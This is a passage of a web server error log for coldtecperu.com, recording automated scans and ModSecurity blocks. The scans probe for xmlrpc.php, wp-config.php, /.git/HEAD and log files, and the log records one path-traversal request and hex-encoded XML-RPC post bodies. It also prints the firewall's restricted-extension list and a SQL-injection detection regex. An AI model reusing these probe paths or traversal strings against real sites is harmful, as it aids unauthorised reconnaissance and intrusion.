/home/coldtecp/public_html/_phpinfo.php [Mon Jul 28 10:41:10.380868 2025] [:error] [pid 6752:tid 6765] [client 185.177.72.115:49230] File does not exist: /home/coldtecp/public_html/server_info.php [Mon Jul 28 10:41:10.456515 2025] [:error] [pid 6752:tid 6775] [client 185.177.72.115:49232] File does not exist: /home/coldtecp/public_html/app_dev.php [Mon Jul 28 10:41:10.531559 2025] [:error] [pid 6752:tid 6772] [client 185.177.72.115:49234] File does not exist: /home/coldtecp/public_html/test.php [Mon Jul 28 10:41:21.904521 2025] [:error] [pid 6752:tid 6761] [client 185.177.72.115:49272] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/storage/logs/laravel.log"] [unique_id "aIeaIRj9pDwIRPtmBySxXwAAAME"] [Mon Jul 28 10:41:26.897217 2025] [:error] [pid 6391:tid 6400] [client 185.177.72.115:49406] File does not exist: /home/coldtecp/public_html/i.php [Mon Jul 28 10:41:27.317243 2025] [:error] [pid 6752:tid 6765] [client 185.177.72.115:49416] File does not exist: /home/coldtecp/public_html/p.php [Mon Jul 28 10:41:27.797318 2025] [:error] [pid 6752:tid 6781] [client 185.177.72.115:49424] File does not exist: /home/coldtecp/public_html/test_phpinfo.php [Mon Jul 28 12:24:55.229451 2025] [:error] [pid 6392:tid 6460] [client 93.152.220.166:54872] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 16:12:29.932762 2025] [:error] [pid 6390:tid 6436] [client 34.145.220.39:49068] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 16:17:42.028718 2025] [:error] [pid 6752:tid 6778] [client 167.71.215.225:49242] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 17:10:37.888337 2025] [:error] [pid 6392:tid 6454] [client 183.134.59.131:51114] File does not exist: /home/coldtecp/public_html/index.php 2025/07/28 17:46:19 [error] 6354#6354: *862825 access forbidden by rule, client: 185.177.72.115, server: cpanel.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "cpanel.coldtecperu.com" [Mon Jul 28 18:25:29.242817 2025] [:error] [pid 6392:tid 6471] [client 167.71.215.225:53974] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 19:04:23.556069 2025] [:error] [pid 6390:tid 6443] [client 93.152.220.166:55078] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 19:36:11.213357 2025] [:error] [pid 6391:tid 6400] [client 167.71.215.225:56020] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 19:40:28.365864 2025] [:error] [pid 6752:tid 6767] [client 128.199.156.176:56150] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 21:28:44.048056 2025] [:error] [pid 6390:tid 6448] [client 89.144.204.68:59394] [client 89.144.204.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aIgx3M2XX9fgJHPTg7_RngAAABc"] [Mon Jul 28 22:32:54.168758 2025] [:error] [pid 6390:tid 6445] [client 128.199.116.68:32806] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 23:27:17.609805 2025] [:error] [pid 6752:tid 6775] [client 139.59.96.66:34724] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 00:57:46.188402 2025] [:error] [pid 6391:tid 6399] [client 128.199.116.68:39390] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 01:36:37.362709 2025] [:error] [pid 6390:tid 6431] [client 139.59.96.66:40748] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 01:37:44.986918 2025] [:error] [pid 6752:tid 6766] [client 139.59.96.66:40850] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 02:15:45.508112 2025] [:error] [pid 6752:tid 6775] [client 139.59.96.66:42414] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 02:19:45.158393 2025] [:error] [pid 6390:tid 6449] [client 128.199.116.68:42620] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 03:20:49.001355 2025] [:error] [pid 6752:tid 6783] [client 128.199.116.68:45054] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 04:19:38.258921 2025] [:error] [pid 21074:tid 21076] [client 139.59.96.66:48184] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 06:45:13.350599 2025] [:error] [pid 20532:tid 20558] [client 93.152.220.166:58634] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 10:25:17.866114 2025] [:error] [pid 21074:tid 21083] [client 167.71.215.225:47628] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 12:35:53.720949 2025] [:error] [pid 20532:tid 20541] [client 167.71.215.225:51668] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 12:55:39.829349 2025] [:error] [pid 20534:tid 20582] [client 93.152.220.166:52464] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 13:16:42.722573 2025] [:error] [pid 20533:tid 20610] [client 139.59.236.55:53216] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 14:42:09.494900 2025] [:error] [pid 20534:tid 20581] [client 167.71.215.225:55200] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 15:48:34.274179 2025] [:error] [pid 20533:tid 20567] [client 128.199.156.176:57930] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 15:57:23.906858 2025] [:error] [pid 20532:tid 20555] [client 34.105.50.255:58114] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 16:36:56.835613 2025] [:error] [pid 20532:tid 20549] [client 128.199.156.176:59182] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 17:37:48.144657 2025] [:error] [pid 18648:tid 18664] [client 167.71.215.225:34034] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 18:52:09.755899 2025] [:error] [pid 20534:tid 20582] [client 128.199.156.176:38664] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 19:04:50.332392 2025] [:error] [pid 20533:tid 20610] [client 93.152.220.166:39464] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 19:59:35.817347 2025] [:error] [pid 18553:tid 18563] [client 128.199.156.176:42534] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 20:39:01.808017 2025] [:error] [pid 18648:tid 18677] [client 128.199.156.176:43512] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 22:00:46.728748 2025] [:error] [pid 18648:tid 18658] [client 149.88.106.138:45940] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 22:48:28.866425 2025] [:error] [pid 18648:tid 18671] [client 139.59.96.66:47364] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 29 22:59:07.246742 2025] [:error] [pid 21074:tid 21085] [client 167.172.81.164:47926] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/07/29 23:08:14 [error] 20496#20496: *910010 access forbidden by rule, client: 185.177.72.144, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" [Tue Jul 29 23:08:38.285867 2025] [:error] [pid 18648:tid 18662] [client 185.177.72.144:48400] [client 185.177.72.144] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "aImaxtenMOWaNcL1Q2HIAAAAAUY"] [Tue Jul 29 23:08:38.522052 2025] [:error] [pid 18648:tid 18667] [client 185.177.72.144:48406] [client 185.177.72.144] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/wp-content/debug.log"] [unique_id "aImaxtenMOWaNcL1Q2HIAwAAAUs"] [Tue Jul 29 23:08:39.451755 2025] [:error] [pid 18648:tid 18664] [client 185.177.72.144:48430] File does not exist: /home/coldtecp/public_html/wp-config.php [Wed Jul 30 00:39:56.535422 2025] [:error] [pid 20534:tid 20594] [client 132.226.146.177:52694] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 01:04:08.189284 2025] [:error] [pid 18648:tid 18672] [client 139.59.96.66:54278] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 01:35:11.530043 2025] [:error] [pid 20534:tid 20584] [client 167.172.81.164:56402] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 02:16:23.194507 2025] [:error] [pid 20532:tid 20540] [client 139.59.96.66:58090] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 02:19:52.403412 2025] [:error] [pid 20533:tid 20611] [client 139.59.96.66:58212] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 03:10:51.970514 2025] [:error] [pid 18648:tid 18661] [client 167.172.81.164:59574] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 03:27:47.863950 2025] [:error] [pid 20533:tid 20564] [client 167.172.81.164:60058] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 05:23:28.525577 2025] [:error] [pid 32555:tid 32569] [client 139.59.96.66:40226] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 05:32:31.711998 2025] [:error] [pid 32555:tid 32569] [client 139.59.96.66:41514] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 06:05:07.651968 2025] [:error] [pid 7800:tid 7805] [client 13.221.7.118:44248] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Jul 30 06:09:34.853485 2025] [:error] [pid 7800:tid 7821] [client 93.152.220.166:44558] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 06:49:07.886284 2025] [:error] [pid 32092:tid 32113] [client 167.172.81.164:46828] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 07:09:27.726796 2025] [:error] [pid 32555:tid 32575] [client 167.172.81.164:48058] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 10:31:37.523659 2025] [:error] [pid 32555:tid 32578] [client 69.171.249.116:36840] [client 69.171.249.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIo62c9YxOXtD6vMI4aAXQAAANU"] [Wed Jul 30 10:31:38.078678 2025] [:error] [pid 7800:tid 7822] [client 69.171.249.115:36844] [client 69.171.249.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIo62mVVS67Avwz-mIWWmAAAARI"] [Wed Jul 30 10:31:45.173657 2025] [:error] [pid 7800:tid 7819] [client 69.171.230.2:36858] [client 69.171.230.2] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIo64WVVS67Avwz-mIWWnAAAAQ8"] [Wed Jul 30 10:33:03.081707 2025] [:error] [pid 32555:tid 32565] [client 69.171.230.115:36942] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIo7L89YxOXtD6vMI4aAaQAAAMg"] [Wed Jul 30 10:33:03.331432 2025] [:error] [pid 32555:tid 32572] [client 173.252.83.7:36944] [client 173.252.83.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIo7L89YxOXtD6vMI4aAagAAAM8"] [Wed Jul 30 10:33:03.880892 2025] [:error] [pid 32555:tid 32564] [client 173.252.83.15:36946] [client 173.252.83.15] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIo7L89YxOXtD6vMI4aAawAAAMc"] [Wed Jul 30 11:03:41.402290 2025] [:error] [pid 32092:tid 32118] [client 156.146.35.169:39604] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 12:37:23.518813 2025] [:error] [pid 7800:tid 7824] [client 93.152.220.166:44916] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 13:29:15.251908 2025] [:error] [pid 7800:tid 7806] [client 167.71.215.225:47766] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 14:09:27.843908 2025] [:error] [pid 7800:tid 7827] [client 103.198.133.169:49948] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Jul 30 16:00:34.605125 2025] [:error] [pid 32094:tid 32153] [client 167.71.215.225:53456] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 16:14:34.360724 2025] [:error] [pid 32092:tid 32114] [client 34.82.175.213:54002] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 18:55:46.979612 2025] [:error] [pid 7800:tid 7816] [client 93.152.220.166:60272] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 19:02:07.117370 2025] [:error] [pid 7800:tid 7815] [client 128.199.156.176:60676] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 19:08:30.764693 2025] [:error] [pid 32555:tid 32562] [client 128.199.156.176:60880] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 19:18:32.825693 2025] [:error] [pid 7800:tid 7807] [client 167.71.215.225:33022] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 19:28:30.690217 2025] [:error] [pid 32555:tid 32566] [client 128.199.156.176:33494] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 30 19:29:35.395841 2025] [:error] [pid 32094:tid 32162] [client 165.22.103.157:33558] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 31 00:33:05.564445 2025] [:error] [pid 32094:tid 32152] [client 165.232.168.61:43604] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Jul 31 05:08:01.801153 2025] [:error] [pid 4651:tid 4685] [client 139.59.96.66:53942] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 31 06:58:22.353127 2025] [:error] [pid 4651:tid 4686] [client 132.226.146.177:56250] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 31 08:04:42.223213 2025] [:error] [pid 5115:tid 5125] [client 146.190.98.230:59122] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 31 08:58:21.081141 2025] [:error] [pid 5115:tid 5134] [client 69.63.189.14:33692] [client 69.63.189.14] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIt2fT0EQiM0TuTGSabV2AAAANE"] [Thu Jul 31 09:01:57.836581 2025] [:error] [pid 5115:tid 5119] [client 69.171.230.112:33884] [client 69.171.230.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIt3VT0EQiM0TuTGSabV_AAAAMI"] [Thu Jul 31 12:09:19.381566 2025] [:error] [pid 5115:tid 5124] [client 156.146.35.176:46420] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 01 15:12:19.402122 2025] [:error] [pid 19443:tid 19448] [client 93.118.41.109:60724] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 01 16:06:43.212172 2025] [:error] [pid 19443:tid 19468] [client 49.37.201.146:35070] [client 49.37.201.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x3824e542de found within XML: metaWeblog.newPost17857078570title0x3824e542description0x3824e542mt_keywords0x3824e542mt_excerpt0x3824e5421"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aI0sY7WywtPHYF7lfiSrvgAAANc"] [Fri Aug 01 18:21:29.372982 2025] [:error] [pid 19443:tid 19454] [client 167.71.215.225:39708] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 01 21:00:45.460106 2025] [:error] [pid 4148:tid 4158] [client 128.199.156.176:43758] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 01 21:14:45.605412 2025] [:error] [pid 4018:tid 4060] [client 167.71.215.225:44216] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 01 21:54:04.214424 2025] [:error] [pid 4016:tid 4021] [client 128.199.156.176:44904] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 01 23:41:11.086162 2025] [:error] [pid 4018:tid 4074] [client 128.199.156.176:51676] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 00:44:07.738509 2025] [:error] [pid 4016:tid 4028] [client 84.17.34.47:53112] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 00:46:43.272505 2025] [:error] [pid 4016:tid 4021] [client 154.47.23.58:53570] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 01:17:21.969286 2025] [:error] [pid 4017:tid 4088] [client 167.71.215.225:54362] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 01:33:16.598566 2025] [:error] [pid 4017:tid 4091] [client 128.199.156.176:54622] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 01:58:55.884190 2025] [:error] [pid 4017:tid 4085] [client 128.199.156.176:54964] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 02:11:28.466018 2025] [:error] [pid 4018:tid 4051] [client 132.226.146.177:55236] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 02:19:07.402750 2025] [:error] [pid 4016:tid 4021] [client 167.71.215.225:55370] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 02 08:30:50.931343 2025] [:error] [pid 1310:tid 1321] [client 69.171.230.8:39408] [client 69.171.230.8] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aI4TCpUHNgA_Kpu3UmL16wAAAMk"] [Sat Aug 02 09:24:16.381253 2025] [:error] [pid 729:tid 774] [client 51.20.138.168:42198] File does not exist: /home/coldtecp/public_html/wp-login.php [Sat Aug 02 13:29:43.304177 2025] [:error] [pid 1310:tid 1327] [client 69.171.230.6:49550] [client 69.171.230.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aI5ZF5UHNgA_Kpu3UmL99AAAAM8"] [Sat Aug 02 16:06:08.186125 2025] [:error] [pid 729:tid 766] [client 103.198.133.169:53522] File does not exist: /home/coldtecp/public_html/wp-login.php [Sun Aug 03 00:36:10.241970 2025] [:error] [pid 727:tid 734] [client 89.187.161.23:44434] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 03 00:37:27.592354 2025] [:error] [pid 729:tid 775] [client 154.47.23.58:44482] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 03 05:57:47.435319 2025] [:error] [pid 9851:tid 9933] [client 132.226.146.177:54280] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 03 06:19:54.567020 2025] [:error] [pid 9851:tid 9919] [client 89.10.138.57:54602] [client 89.10.138.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aI9F2heNxdjHXfI1C0R9PAAAAIo"] [Sun Aug 03 07:01:02.882349 2025] [:error] [pid 9851:tid 9920] [client 69.171.231.9:56340] [client 69.171.231.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aI9PfheNxdjHXfI1C0R9zgAAAIs"] [Sun Aug 03 10:23:04.691691 2025] [:error] [pid 9849:tid 9871] [client 44.212.54.81:39788] File does not exist: 